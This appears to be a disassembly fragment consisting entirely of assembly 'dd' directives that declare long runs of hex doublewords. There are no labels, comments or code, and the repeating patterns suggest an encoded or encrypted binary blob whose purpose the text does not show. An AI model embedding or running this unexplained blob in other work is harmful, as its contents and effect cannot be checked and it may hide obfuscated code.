dd 6D081917h, 17CC6367h, 0A4CB63A4h, 23935F15h, 8D1EFC99h
dd 8923938Ch, 8C8D1EDCh, 741F4C9Dh, 9344A596h, 9C965C19h
dd 10ABF49Ch, 0A1748C8Dh, 0CC6363E5h, 6E5C2111h, 63CB6360h
dd 9C6CB089h, 90581F8Ch, 9C9D8575h, 195BFA9Ch, 63676DD4h
dd 19179C8Bh, 63676D38h, 6DCC1915h, 19116367h, 63676DC4h
dd 0D41911CCh, 0CC63676Dh, 6D0C1917h, 17CC6367h, 80CA63ACh
dd 6DE41911h, 0F4CC6367h, 8C8D0618h, 6DFC2963h, 21176367h
dd 63676DFCh, 8863A317h, 9C9C9CA1h, 3D5F159Ch, 8C8D1E80h
dd 1D40999Fh, 741F8C8Dh, 9344A595h, 9C96A419h, 0E819119Ch
dd 0CC63676Dh, 6DE41917h, 17CC6367h, 4C0B63A4h, 159C9C9Ch
dd 1D183D5Fh, 741F8C8Dh, 0E85FA594h, 0E419178Dh, 0CC63676Dh
dd 0CA63AC17h, 969F7594h, 19119C9Ch, 63606D30h, 0E81917CCh
dd 0CC63676Dh, 0CB63A417h, 3D5F15A4h, 8C8D1D44h, 44892393h
dd 9D8C8D1Ch, 8C741F4Ch, 81E85FA5h, 6DE81917h, 17CC6367h
dd 94CA63ACh, 6DE41917h, 17CC6367h, 94CA63ACh, 9C952075h
dd 10B4F49Ch, 0A5748C8Dh, 636363E4h, 676D3829h, 2111CC63h
dd 63606D5Dh, 0B48963CBh, 118C91C6h, 606D5D19h, 1911CC63h
dd 63606E5Ch, 0B08963CCh, 1F8C9C6Ch, 19118458h, 63606D34h
dd 301917CCh, 0CC63606Dh, 0CB63A417h, 935F15B8h, 1D709923h
dd 999F8C8Dh, 8C8D1D10h, 0A59F741Fh, 0C619935Fh, 3D9C9C95h
dd 8C8D1DA0h, 1C5C999Fh, 741F8C8Dh, 2C191596h, 7563606Dh
dd 9C9C95B3h, 6D2C1917h, 19156360h, 63656DA4h, 0AC195BFAh
dd 9E63656Dh, 1ED03D9Ch, 89178C8Dh, 8C8D1DB8h, 1495761Fh
dd 6DF89908h, 19116366h, 63656DD8h, 0AC2911CCh, 1F63656Dh
dd 7B158C70h, 9C9C9825h, 11396F9Ch, 656DAC29h, 8C701F63h
dd 98257B15h, 6F9C9C9Ch, 30211739h, 0CB63606Dh, 0CB63A317h
dd 3D5F15B0h, 8C8D1C54h, 0F4892393h, 9D8C8D1Eh, 9F741F4Ch
dd 19935FA5h, 9C9C9431h, 8D1086F4h, 0EBDE748Ch, 29636363h
dd 63606D2Ch, 5D2111CCh, 0CB63606Dh, 0C6B48963h, 19118C91h
dd 63606D5Dh, 5C1911CCh, 0CC63606Eh, 6CB08963h, 581F8C9Ch
dd 1D603D84h, 19158C8Dh, 63656DB0h, 6DB01911h, 0F4CC6365h
dd 8C8D06C8h, 6DD81917h, 17CC6365h, 0A18863A4h, 9C9C9C9Ch
dd 23935F15h, 8D1C7099h, 0F8999F8Ch, 0A58C8D1Dh, 3419935Fh
dd 119C9C98h, 656DB419h, 1917CC63h, 63656DB0h, 63A417CCh
dd 9C9C6C0Bh, 935F159Ch, 1D809923h, 23938C8Dh, 8D1C0889h
dd 1F4C9D8Ch, 44A59F74h, 98F51993h, 19119C9Ch, 63656DF9h
dd 0B42963CCh, 7463656Dh, 9C9CBEB7h, 1594581Fh, 2115DB5Bh
dd 63656DD0h, 6DB42963h, 89636365h, 8C8DECA8h, 8D1D443Dh
dd 58999F8Ch, 1F8C8D1Ch, 19158C74h, 63676DF4h, 1917D977h
dd 63676DF4h, 99182293h, 63656DF9h, 1E9C8917h, 5E1F8C8Dh
dd 0E84CA596h, 89239392h
dd 8C8D1DB0h, 0A5995E1Fh, 178AE94Ch, 676DF419h, 88891763h
dd 1F8C8D1Dh, 8149E76h, 656DF999h, 0F4196363h, 1763676Dh
dd 656DD019h, 0F419A563h, 0EE63676Dh, 0F9191131h, 0CC63656Dh
dd 6DF51911h, 74CC6366h, 9C9CDF94h, 8D1DE83Dh, 1915D48Ch
dd 63676DF4h, 6DF41917h, 10116367h, 656DF999h, 63541F63h
dd 9DA01CDCh, 1565E99Ch, 656DC019h, 89239363h, 8C8D1C78h
dd 80912393h, 118C8D1Dh, 9C549608h, 4CA59C9Ch, 891791EBh
dd 8C8D1C04h, 0A59E761Fh, 7599E94Ch, 9C9C9C52h, 44992393h
dd 1F8C8D1Ch, 19159574h, 63656DFCh, 1917B377h, 63656DFCh
dd 6DF4199Fh, 22936367h, 6DF99918h, 23936365h, 8D1EB889h
dd 1091178Ch, 118C8D1Dh, 0A58296C8h, 6388E94Ch, 656DFC19h
dd 0C0191763h, 0A563656Dh, 656DFC19h, 175FEE63h, 656DC019h
dd 0FC19A563h, 0E863656Dh, 7CA963EDh, 178C8D1Ch, 676DF419h
dd 99181163h, 63656DF9h, 0F51911CCh, 0CC63666Dh, 63755E74h
dd 90581F63h, 6DB81915h, 0E83D6365h, 998C8D1Dh, 9C9C6362h
dd 6DB819A5h, 0AAE96365h, 8D1089F4h, 0E996748Ch, 11CC6363h
dd 666DF521h, 8963CB63h, 8C9C6CB0h, 6DF41917h, 18116367h
dd 656DF999h, 1911CC63h, 63666DF5h, 0B08963CCh, 1F8C9C6Ch
dd 23938858h, 8D1D5099h, 99741F8Ch, 6DC0199Fh, 199D6365h
dd 63676DF4h, 6DD01917h, 19A56365h, 63676DF4h, 625E1E93h
dd 3C3D6363h, 158C8D1Dh, 656DCC19h, 0F5111163h, 1F63666Dh
dd 1CDC6354h, 0E99C9DA0h, 0C0191565h, 3D63656Dh, 8C8D1C00h
dd 1ED4999Fh, 741F8C8Dh, 0F4191597h, 7563676Dh, 9C9C9E8Ah
dd 50992393h, 1F8C8D1Dh, 917865Ch, 63676DF4h, 89082A93h
dd 63666DF5h, 9BE84CA5h, 6DC4391Fh, 179C6365h, 676DF419h
dd 182A9363h, 666DF599h, 89239363h, 8C8D1DDCh, 0A5875E1Fh
dd 0F319934Ch, 3D9C9C9Dh, 8C8D1D74h, 0A59B741Fh, 676DF419h
dd 341A9363h, 179C9C9Ch, 676DF419h, 84891763h, 1F8C8D1Dh
dd 4CB59476h, 0F5991816h, 1463666Dh, 656DBF19h, 192A9363h
dd 63656DBFh, 0B0892393h, 178C8D1Dh, 8D1C7C91h, 96C8118Ch
dd 0E24CA586h, 3489178Fh, 1F8C8D1Ch, 899FBB5Eh, 8C8D1C5Ch
dd 0CDE04CA5h, 0BF192A93h, 1763656Dh, 8D1D0C89h, 0EE5E1F8Ch
dd 1C04899Fh, 4CA58C8Dh, 239389E2h, 8D1D3489h, 2091178Ch
dd 118C8D1Ch, 0A5E396C8h, 93BEE04Ch, 6DBF192Ah, 89176365h
dd 8C8D1C58h, 0A5AC5E1Fh, 9384E24Ch, 1DC08923h, 5E1F8C8Dh
dd 0E14CA5A2h, 0C4195B96h, 9D63656Dh, 179C9C9Ch, 656DC019h
dd 0F419A563h, 9363676Dh, 9C9C3D1Fh, 0F419179Ch, 1763676Dh
dd 8D1DFC89h, 9123938Ch, 8C8D1C08h, 761F569Dh, 164C9D9Bh
dd 6DF59918h, 19146366h, 63656DBFh, 0BF192A93h, 1763656Dh
dd 8D1DE489h, 0EB5E1F8Ch, 91E24CA5h, 1D288917h, 5E1F8C8Dh
dd 0E04CA5E2h, 192A93D3h, 63656DBFh, 1ED48917h, 5E1F8C8Dh
dd 0B4899FB2h, 0A58C8D1Dh, 178FE24Ch, 8D1D4889h, 0AD5E1F8Ch
dd 1DC8899Fh, 4CA58C8Dh, 2A93BEE0h, 656DBF19h, 0AC891763h
dd 1F8C8D1Eh, 4CA5875Eh, 239384E2h, 8D1C4489h, 0BB5E1F8Ch
dd 96E14CA5h, 6DC4195Bh, 9C9D6365h, 983D9C9Ch, 1F8C8D1Eh
dd 19A79F74h, 63656DC4h, 1917BCE9h, 63656DCCh, 6DF40917h
dd 8166367h, 666DF589h, 99081463h, 63666DF5h, 6DCC1963h
dd 19176365h, 63676DF4h, 99182A93h, 63666DF5h, 1D5C8917h
dd 5E1F8C8Dh, 91239385h, 8C8D1D58h, 4CA5569Dh, 195B96E9h
dd 63656DC4h, 9C9C9C9Dh, 6DF41963h, 19176367h, 63656DC0h
dd 6DF419A5h, 1E936367h, 63636144h, 6DCC1917h, 23936365h
dd 8D1D5089h, 9A761F8Ch, 0F5990814h, 1763666Dh, 656DB019h
dd 0AC17CC63h, 3D94CA63h, 8C8D1EACh, 2C892393h, 9D8C8D1Ch
dd 9A741F4Ch, 6DC81915h, 19116365h, 63656DC8h, 6F8F4CCh
dd 19178C8Dh, 63656DD8h, 63A417CCh, 9C9CA188h, 5F159C9Ch
dd 8D1DF83Dh, 8923938Ch, 8C8D1EBCh, 0A5D44C9Dh, 5319935Fh
dd 119C9C9Eh, 656DD419h, 1917CC63h, 63656DC8h, 63A417CCh
dd 5F15F0CBh, 0F4992393h, 1F8C8D1Dh, 5FA59874h, 9E001993h
dd 43D9C9Ch, 1F8C8D1Ch, 19159E74h, 63666DF8h, 9C9EEB75h
dd 1D7C3D9Ch, 999F8C8Dh, 8C8D1D44h, 0CC8C741Fh, 0C6B88963h
dd 0FAC58C91h, 6C64195Bh, 9C9E6364h, 6DF81917h, 19156366h
dd 63646D9Ch, 6C681911h, 11CC6364h, 646C6429h, 8C701F63h
dd 98257B15h, 6F9C9C9Ch, 64291139h, 1F63646Ch, 7B158C70h
dd 9C9C9825h, 17396F9Ch, 656DC821h, 0A317CB63h, 15E8CB63h
dd 9923935Fh, 8C8D1E88h, 1EAC999Fh, 741F8C8Dh, 935FA594h
dd 9C9D6919h, 9923939Ch, 8C8D1C70h, 6D901915h, 19116364h
dd 63646D90h, 6C8F4CCh, 19178C8Dh, 63646C68h, 63A417CCh
dd 9C9CA188h, 5F159C9Ch, 8D1D843Dh, 95741F8Ch, 199344A5h
dd 9C9C9D32h, 6D8C1911h, 93CC6365h, 1C449923h, 741F8C8Dh
dd 2963CC95h, 63606D24h, 6D901917h, 17CC6364h, 0BCCB63A4h
dd 1FFA5F15h, 656D8C21h, 8BE99463h, 88992393h, 938C8D1Eh
dd 1D808923h, 4C9D8C8Dh, 0A59F741Fh, 7599E85Fh, 9C9C9DCAh
dd 8D1C643Dh, 0A8999F8Ch, 178C8D1Dh, 8D1C0C89h, 10899F8Ch
dd 0D68C8D1Dh, 99990814h, 1163646Dh, 646D8D19h, 2963CC63h
dd 63656D84h, 9C809274h, 94581F9Ch, 6D842963h, 89636365h
dd 8C8DECA8h, 8D1DA43Dh, 9F741F8Ch, 8D092293h, 0A563646Dh
dd 6318934Ch, 639C9C9Ch, 606D2829h, 8D191163h, 0CC63646Dh
dd 630C7E74h, 94581F63h, 6D8C1911h, 3DCC6365h, 8C8D1C00h
dd 1D48999Fh, 741F8C8Dh, 2963CC8Ch, 63606D20h, 6D901917h
dd 17CC6364h, 0BCCB63A4h, 23935F15h, 8D1D1499h, 9D5E158Ch
dd 1DC43D5Eh, 14D48C8Dh, 7C778918h, 81A76364h, 8C8D1D9Ch
dd 1FFAB7E9h, 656D8C21h, 0BDE99463h, 7C691911h, 63CC6364h
dd 656D8429h, 87F17463h, 581F9C9Ch, 84296394h, 6363656Dh
dd 8DECA889h, 1091F48Ch, 21748C8Dh, 636363F3h, 666DF829h
dd 2111CC63h, 63606D5Dh, 0B48963CBh, 118C91C6h, 606D5D19h
dd 1911CC63h, 63606E5Ch, 0B08963CCh, 118C9C6Ch, 647C6919h
dd 1911CC63h, 63606E5Ch, 0B08963CCh, 0F48C9C6Ch, 8C8D1094h
dd 63F3EB74h, 2111CC63h, 63606E5Ch, 0B08963CBh, 118C9C6Ch
dd 646D8D19h, 1911CC63h, 63606E5Ch, 0B08963CCh, 1F8C9C6Ch
dd 1917A858h, 63646D90h, 63AC17CCh, 191794CAh, 63646C68h
dd 63AC17CCh, 196394CAh, 63666DF8h, 6DD41917h, 19A56365h
dd 63666DF8h, 61EB1E93h, 19176363h, 63656DC8h, 63AC17CCh
dd 191794CAh, 63656DD8h, 63AC17CCh, 903D94CAh, 938C8D1Dh
dd 1C308923h, 4C9D8C8Dh, 99182A93h, 63666DC5h, 0BC892393h
dd 1F8C8D1Dh, 4CA59F76h, 9EF4DBE8h, 748C8D10h, 6363F240h
dd 5C2111CCh, 0CB63606Eh, 6CB08963h, 19118C9Ch, 63666DF5h
dd 5C1911CCh, 0CC63606Eh, 6CB08963h, 61F48C9Ch, 748C8D17h
dd 6363F22Ch, 5C2111CCh, 0CB63606Eh, 6CB08963h, 581F8C9Ch
dd 2C1963BCh, 1763606Dh, 606D3419h, 2C19A563h, 9363606Dh
dd 636A231Eh, 38196363h, 1763676Dh, 676DEC19h, 3819A563h
dd 9363676Dh, 63682610h, 5C191163h, 0CC63606Eh, 0C6808963h
dd 63C58C91h, 606D2429h, 0A8896363h, 638C8DECh, 606D2029h
dd 0A8896363h, 178C8DECh
dd 676D0C19h, 0AC17CC63h, 1794CA63h, 676D0819h, 0AC17CC63h
dd 1794CA63h, 676D0419h, 0AC17CC63h, 1794CA63h, 676D0019h
dd 0AC17CC63h, 0C394CA63h, 5F55C7C2h, 0CD7915C9h, 3DCBCACFh
dd 8C8D1DCCh, 0CC98741Fh, 9C9C1CF4h, 3D98F69Ch, 8C8D1C24h
dd 0CC94741Fh, 1DF8A963h, 9CF48C8Dh, 0F4DC9C9Ch, 8C95AFACh
dd 0F0848963h, 5B158C8Dh, 43D9CF6h, 1F8C8D1Ch, 63CC9E74h
dd 63CB90E9h, 8DECAC89h, 94D9178Ch, 541F5D15h, 0A01CDC63h
dd 65E99C9Dh, 81175A15h, 8C8D1E94h, 0CF9E771Fh, 0CF60C111h
dd 94E963CAh, 808963CBh, 0CB8C8DECh, 0D6D48963h, 0C2C38C95h
dd 0F65F55C7h, 2066749Ch, 9EF66363h, 63206F74h, 94581F63h
dd 72F4CB5Fh, 748C8D17h, 6363F1E8h, 8963CCC5h, 8C9DB904h
dd 8D1E003Fh, 1D943D8Ch, 23938C8Dh, 8D1D1489h, 1F4C9D8Ch
dd 99A79B74h, 8C8D1E00h, 43F48BE9h, 748C8D17h, 6363F1D8h
dd 8963CCC5h, 8C99AF84h, 8D1E003Fh, 1757F48Ch, 0B1748C8Dh
dd 0C56363F1h, 0A963CCh, 638C8D1Eh, 9DBD3089h, 0B69C3F8Ch
dd 5FC38C99h, 1F7915C9h, 0CACFB470h, 90E917CBh, 0B8A117DAh
dd 1F8C8D1Dh, 0A19F8E5Bh, 8C8D1C4Ch, 5C196C15h, 639999E1h
dd 5D9C9C9Ch, 81179464h, 8C8D1C74h, 84819FDFh, 158C8D1Eh
dd 4F33935Eh, 0E1154B9Dh, 196C1564h, 9999E15Ch, 9C9C6363h
dd 938C645Dh, 1D30A123h, 23938C8Dh, 8D1D5881h, 83E0118Ch
dd 935F1596h, 0A1174333h, 8C8D1DB4h, 9F855B1Fh, 8D1EB0A1h
dd 15679D8Ch, 239368C1h, 8D1D70A1h, 196C158Ch, 9999E15Ch
dd 9C9C9C63h, 9394645Dh, 1EDC8123h, 5F1F8C8Dh, 935E158Ch
dd 0E0114F33h, 0E1158E8Bh, 6B6C156Ch, 0D91568F9h, 9C63B978h
dd 74CC9C9Ch, 636328B6h, 0C1145F15h, 1DF83D73h, 5C1F8C8Dh
dd 892393D9h, 8C8D1DF4h, 33934C9Dh, 9C63B95Ah, 74CC9C9Ch
dd 9C9C8061h, 0C1145F15h, 6B6C1572h, 0D9156CF9h, 9C63B97Ch
dd 74CC9C9Ch, 63632F72h, 0C1145F15h, 1EF03D71h, 5C1F8C8Dh
dd 5C999FBAh, 938C8D1Ch, 63B95A33h, 0CC9C9C9Ch, 9C805874h
dd 145F159Ch, 0D43D70C1h, 1F8C8D1Dh, 999FF95Ch, 8C8D1D68h
dd 0B95A3393h, 9C9C9C63h, 803F74CCh, 5F159C9Ch, 1577C114h
dd 9C63B96Ch, 74CC9C9Ch, 63632F06h, 0C1145F15h, 6B6C1576h
dd 0D91564F9h, 9C63B940h, 74CC9C9Ch, 63632F1Eh, 0C1145F15h
dd 1EC43D63h, 5C1F8C8Dh, 5C999F96h, 158C8D1Ch, 4C33936Eh
dd 63B94C15h, 0CC9C9C9Ch, 9C80C874h, 145F159Ch, 239375C1h
dd 8D1D0899h, 0A05C1F8Ch, 0B95A3393h, 9C9C9C63h, 2FDC74CCh
dd 581F6363h, 145F15B8h, 2A9374C1h, 641563E1h, 0A917744Dh
dd 8C8D1D88h, 0BC812393h, 9D8C8D1Eh, 7A6BD242h, 1544D915h
dd 0E95BA55Ah, 172DF4DAh, 0DD748C8Dh, 936363F7h, 0CB74E12Ah
dd 72E12A93h, 0E12A93CBh, 2A93CB73h, 93CB70E1h, 0CB76E12Ah
dd 77E12A93h, 0E12A93CBh, 2A93CB71h, 93CB75E1h, 0CB63E12Ah
dd 94E963CCh, 0C6B48963h, 581F8C91h, 0F4D877ACh, 8C8D170Ah
dd 63F66774h, 0E12A9363h, 2A93CB74h, 93CB72E1h, 0CB73E12Ah
dd 70E12A93h, 0E12A93CBh, 2A93CB76h, 93CB77E1h, 0CB71E12Ah
dd 75E12A93h, 0E12A93CBh, 63CCCB63h, 896394E9h, 8C91C6B4h
dd 0C3AC581Fh, 5F55C7C2h, 247915C9h, 9C9D9C14h, 9CAB0B74h
dd 0CBCACF9Ch, 5CD95BFAh, 14F49C94h, 748C8D17h, 6363F079h
dd 8963CCC5h, 8C9D9C90h, 1154D915h, 11CC48D9h, 701F5CE9h
dd 257B158Ch, 9C9C9C98h, 0E117396Fh, 0A317CB90h, 15ACCB63h
dd 1D943D5Fh, 741F8C8Dh, 0E85FA59Eh, 755CAD9Bh, 9C9C9BABh
dd 0CC40D911h, 8D06D8F4h, 48D9178Ch, 63A417CCh, 9C9CA188h
dd 5F159C9Ch, 44992393h, 1F8C8D1Ch, 44A59574h, 9B9E1993h
dd 0D9119C9Ch, 0D917CC44h, 0A417CC40h, 15B8CB63h, 1D243D5Fh
dd 741F8C8Dh, 935FA59Bh, 9C9A4619h, 1C683D9Ch, 999F8C8Dh
dd 8C8D1DD0h, 1594741Fh, 247578D9h, 179C9C9Ah, 0D91578D9h
dd 0D95BFA6Ch, 119C9E74h, 11CC60D9h, 701F74E9h, 257B158Ch
dd 9C9C9C98h, 0E911396Fh, 8C701F74h, 98257B15h, 6F9C9C9Ch
dd 40E11739h, 63A317CBh, 5F15B0CBh, 8D1D783Dh, 8923938Ch
dd 8C8D1D50h, 741F4C9Dh, 935FA597h, 9C9AFF19h, 1DD43D9Ch
dd 999F8C8Dh, 8C8D1C64h, 1597741Fh, 62632019h, 20191163h
dd 0CC636263h, 8D06C8F4h, 60D9178Ch, 63A417CCh, 9C9CA188h
dd 5F159C9Ch, 50992393h, 1F8C8D1Dh, 5FA59A74h, 99721993h
dd 7C3D9C9Ch, 9F8C8D1Dh, 8D1D1899h, 8D741F8Ch, 632019A5h
dd 18936362h, 9C9C9948h, 0CC7CD911h, 63201917h, 17CC6362h
dd 640B63A4h, 159C9C9Ch, 9923935Fh, 8C8D1EF4h, 0A59F741Fh
dd 31199344h, 119C9C99h, 62635D19h, 0E963CC63h, 8829747Ch
dd 383D9C9Ch, 938C8D1Ch, 1C308923h, 4C9D8C8Dh, 0CC93741Fh
dd 99AF9CF4h, 5D19118Ch, 0CC636263h, 63411274h, 88581F63h
dd 1DC8A117h, 5B1D8C8Dh, 9C9C6368h, 1C4CA19Fh, 5BA58C8Dh
dd 99C21893h, 683D9C9Ch, 1F8C8D1Dh, 0D9A59874h, 1781E98Ch
dd 62632019h, 0AC17CC63h, 1794CA63h, 17CC60D9h, 94CA63ACh
dd 75DC5CADh, 9C9C9917h, 8D1C003Dh, 9B741F8Ch, 63181915h
dd 19116362h, 63626318h, 6E8F4CCh, 0D9178C8Dh, 0A417CC60h
dd 9CA18863h, 159C9C9Ch, 9923935Fh, 8C8D1EDCh, 935FA5D4h
dd 9C986719h, 37195A9Ch, 0D8636263h, 8D17E3F4h, 0F4F6748Ch
dd 0A1176363h, 8C8D1C4Ch, 1ECCA19Fh, 731F8C8Dh, 11CCCB99h
dd 62635D21h, 7C74CB63h, 1F636340h, 0A9178C58h, 8C8D1C48h
dd 63645A1Dh, 6CA59C9Ch, 195A9BE8h, 63626337h, 17EBF4DFh
dd 0B5748C8Dh, 176363F4h, 8D1EF8A1h, 38A19F8Ch, 1F8C8D1Ch
dd 0CCCB9773h, 635D2111h, 74CB6362h, 63634003h, 178C581Fh
dd 8D1DA4A9h, 695A1D8Ch, 939C9C63h, 1C3C8923h, 4A9D8C8Dh
dd 9BE86CA5h, 6337195Ah, 0F4CC6362h, 8C8D17F3h, 63FB4374h
dd 0A1239363h, 8C8D1C2Ch, 2111CCCBh, 6362635Dh, 40C174CBh
dd 581F6363h, 0A923938Ch, 8C8D1D58h, 159F721Fh, 156B9D5Bh
dd 62630021h, 2C211563h, 17636263h, 62632C19h, 99201C63h
dd 6362635Dh, 6394E8BAh, 62632C19h, 17747763h, 62632C19h
dd 89239363h, 8C8D1EC8h, 1C20899Fh, 761F8C8Dh, 99081494h
dd 6362635Dh, 63001917h, 18116362h, 62635D99h, 8963CC63h
dd 8C9D9C80h, 631C1915h, 0F4F46362h, 748C8D17h, 6363FBC8h
dd 1D6CA117h, 23938C8Dh, 8D1EB4A9h, 1F6B9D8Ch, 0CCCB9273h
dd 635D2111h, 74CB6362h, 6363475Bh, 9388581Fh, 1D98A923h
dd 0A99F8C8Dh, 8C8D1C64h, 159A721Fh, 156B9D5Bh, 62630021h
dd 2C211563h, 17636263h, 62632C19h, 99201C63h, 6362635Dh
dd 6394E8BAh, 62632C19h, 17747763h, 62632C19h, 89239363h
dd 8C8D1C44h, 1495761Fh, 635D9908h, 19176362h, 63626300h
dd 5D991811h, 0CC636263h, 9C808963h, 15C58C9Dh, 62633819h
dd 1E803D63h, 19A58C8Dh, 6362631Ch, 9C0C1B93h, 983D9C9Ch
dd 938C8D1Eh, 1D588923h, 4C9D8C8Dh, 1596741Fh, 62632419h
dd 17F97763h, 62632421h, 0A1881663h, 8C9DBD2Ch, 633709A6h
dd 0D6E96362h, 939E7B5Dh, 1EA0A923h, 0A99F8C8Dh, 8C8D1C40h
dd 0A596721Fh, 8C7CA1A8h, 0B2E88C9Dh, 63382917h, 0A8A56362h
dd 9D9CBCA1h, 1783E98Ch, 62632421h, 58A91763h, 938C8D1Ch
dd 1D708923h, 4A9D8C8Dh
dd 1590721Fh, 8C7C21A8h, 19638C9Dh, 63626324h, 8D1E943Dh
dd 9F7A998Ch, 19A59C9Ch, 63626324h, 896315EEh, 8C8DC7ECh
dd 633C1915h, 0B43D6362h, 1F8C8D1Dh, 19159B74h, 63626328h
dd 2117F977h, 63626328h, 179E7B5Dh, 0D6CCA1A8h, 89178C95h
dd 8C8D1C00h, 76C55E1Dh, 23939C9Ch, 8D1DB091h, 4D33938Ch
dd 29A74A9Dh, 6362633Ch, 0A917B3EFh, 8C8D1D7Ch, 0A595721Fh
dd 8C7CA1A8h, 81E88C9Dh, 63282117h, 23936362h, 8D1EA0A9h
dd 98A99F8Ch, 1F8C8D1Eh, 0A8159A72h, 9D8C7C21h, 2819638Ch
dd 3D636263h, 8C8D1D60h, 9C9F7B99h, 28999F9Ch, 0A58C8D1Dh
dd 62632819h, 3D1FEE63h, 8C8D1ED0h, 1C34999Fh, 741F8C8Dh
dd 30191591h, 77636263h, 302117B4h, 93636263h, 1D14A923h
dd 23938C8Dh, 8D1D5489h, 1F4A9D8Ch, 0A8A59072h, 9D8C7C21h
dd 6384E88Ch, 62633019h, 1E803D63h, 74998C8Dh, 0A59C9C9Fh
dd 62633019h, 175AEE63h, 62633021h, 94E91763h, 0FC21A815h
dd 158C9C6Ch, 37091664h, 14636263h, 0BD2C9988h, 29178C9Dh
dd 63626338h, 0BC21A815h, 938C9D9Ch, 1C3C9923h, 999F8C8Dh
dd 8C8D1C58h, 0A58C741Fh, 62631C19h, 231A9363h, 179C9C9Ch
dd 8D1D88A9h, 655A1D8Ch, 9F9C9C63h, 8D1C28A9h, 0A815FA8Ch
dd 99B68CE1h, 1C343D8Ch, 999F8C8Dh, 8C8D1DB4h, 1593741Fh
dd 6263E419h, 17ED7763h, 6263E421h, 0A1881663h, 8C9DBD2Ch
dd 633709A6h, 0CAE96362h, 7A5D6215h, 3809179Eh, 0A5636263h
dd 9CBCA988h, 0DEE98C9Dh, 1D3C8917h, 88A58C8Dh, 9D8C7CA9h
dd 93AFE88Ch, 8CE1A02Bh, 178C99B6h, 8D1C4CA9h, 645A1D8Ch
dd 939C9C63h, 1EF48923h, 4A9D8C8Dh, 8EE86BA5h, 63E42117h
dd 0A0116362h, 99B68CE1h, 9B63FA8Ch, 1963DD77h, 636263E4h
dd 8D1ED03Dh, 9F40998Ch, 999F9C9Ch, 8C8D1C74h, 63E419A5h
dd 1E936362h, 636363EFh, 21178177h, 63626330h, 1DE0A917h
dd 0A99F8C8Dh, 8C8D1EACh, 0FA95721Fh, 8CE1A815h, 638C99B6h
dd 8DC7EC89h, 3021178Ch, 15636263h, 0D6CC2198h, 0A9118C95h
dd 8C8D1E5Ch, 7C21A815h, 178C9D8Ch, 62633021h, 21A01163h
dd 8C9D8C7Ch, 63E02115h, 64156362h, 63AC17CCh, 211798CAh
dd 63626330h, 7C21A011h, 158C9D8Ch, 62630C21h, 195BFA63h
dd 63626314h, 29119C95h, 63626314h, 158C701Fh, 9C98257Bh
dd 396F9C9Ch, 63182117h, 17CB6362h, 380B63A3h, 159C9C9Ch
dd 3019635Fh, 11636263h, 62631419h, 8963CC63h, 8C8DEDC8h
dd 63181917h, 17CC6362h, 94CA63ACh, 6320211Fh, 0E89C6362h
dd 20191790h, 0CC636263h, 0CA63AC17h, 1C003D94h, 23938C8Dh
dd 8D1EBC89h, 1F4C9D8Ch, 0D9A59474h, 1795E860h, 17CC60D9h
dd 94CA63ACh, 1778D963h, 0D9A544D9h, 0A01E9378h, 17636365h
dd 17CC40D9h, 94CA63ACh, 0CC48D917h, 0CA63AC17h, 0C35CAD94h
dd 5F55C7C2h, 0CD7915C9h, 0CBCACFCCh, 1794E917h, 9F5A90C1h
dd 1F6D159Ch, 1CDC6354h, 0E99C9DA0h, 60D91565h, 1EC4A117h
dd 731F8C8Dh, 16EC779Dh, 0B2A0A298h, 0B3A090E8h, 2A9394E8h
dd 5BA58CD9h, 0FEF483EFh, 748C8D17h, 6363FE40h, 0A2882A93h
dd 0C911CCCEh, 8963CE65h, 8C91C6B4h, 778C581Fh, 17C1F4B3h
dd 21748C8Dh, 0CC6363FEh, 0B08963CFh, 0F48C9C6Ch, 8C8D17C9h
dd 63FE3774h, 882A9363h, 11CCCEA2h, 63CE65C9h, 91C6B489h
dd 80581F8Ch, 0CC65D911h, 0B08963CFh, 1F8C9C6Ch, 0A7DB9458h
dd 17EE60E1h, 55C7C2C3h, 0DBF4CB5Fh, 748C8D17h, 6363FEE8h
dd 8963CCC5h, 8C9DB904h, 8D1E043Fh, 9923938Ch, 8C8D1D50h
dd 1DC4999Fh, 741F8C8Dh, 499A79Bh, 0E98C8D1Eh, 17A5F48Bh
dd 0D9748C8Dh, 0C56363FEh, 848963CCh, 3F8C99AFh, 8C8D1E04h
dd 8D1DB43Dh, 9B741F8Ch, 1E0499A5h, 0BFE88C8Dh, 8D1C403Dh
dd 8923938Ch, 8C8D1DF4h, 741F4C9Dh, 0A963CC9Ah, 8C8D1E04h
dd 0BD308963h, 0B83F8C9Dh, 0C38C9C6Ch, 7915C95Fh, 9D90701Dh
dd 17CB9C9Ch, 98F494E1h, 119C9C9Dh, 63626419h, 8963CC63h
dd 8C9DB92Ch, 8D1D483Dh, 2889178Ch, 1F8C8D1Ch, 8149876h
dd 63626E99h, 9D98F463h, 19119C9Ch, 63636264h, 2 dup(60D911CCh)
dd 681911CCh, 0CC636362h, 9C9D98F4h, 6419119Ch, 0CC636362h
dd 62641911h, 63CC6363h, 95C69889h, 17ADF48Ch, 0D748C8Dh
dd 636363FDh, 63626829h, 63CBCC63h, 91C6B489h, 8C581F8Ch
dd 8D1DE03Dh, 99741F8Ch, 7760D915h, 60D917B3h, 0A09B9816h
dd 0A090E0DDh, 1794E3C6h, 649D60D9h, 17BC9C1Ch, 981660D9h
dd 0E3A5A09Bh, 0E0ACA090h, 60D91794h, 9C1C649Dh, 60D963ADh
dd 8D1DA03Dh, 0A4999F8Ch, 1F8C8D1Dh, 0D9A59874h, 0C322EE60h
dd 15C95F55h, 4701D79h, 0CF9C9C9Eh, 0A117CBCAh, 8C8D1D94h
dd 9394E917h, 1D808923h, 0D0118C8Dh, 724F928Bh, 1D188917h
dd 0E0118C8Dh, 65159A8Bh, 7F4F6F15h, 62700115h, 44156363h
dd 0D1A41DFAh, 3D92E8C6h, 8C8D1D5Ch, 9D9C9C99h, 775FB59Ch
dd 1C0C3D7Fh, 5C1F8C8Dh, 3C999FA7h, 158C8D1Dh, 155E9D46h
dd 63626809h, 9D9E1763h, 74191544h, 17636362h, 54A594D1h
dd 243D92EAh, 998C8D1Dh, 9C9C6365h, 30775FB5h, 62741917h
dd 19156363h, 63636278h, 0A19C2B93h, 9C9CD9CCh, 23938CE8h
dd 8D1EBC99h, 6363998Ch, 5FB59C9Ch, 19171A77h, 63636278h
dd 15E4DC17h, 63627C19h, 9D451563h, 6C11155Dh, 15636362h
dd 9F461554h, 11CE90CCh, 63626119h, 0C174CC63h, 3D9C9CB1h
dd 8C8D1D04h, 1D3C999Fh, 741F8C8Dh, 60D9159Fh, 0D917BE77h
dd 99181660h, 63636261h, 8DE1E6A0h, 91E2FDA0h, 1160D917h
dd 62619918h, 0B41C6363h, 60D963BCh, 9360D917h, 61991822h
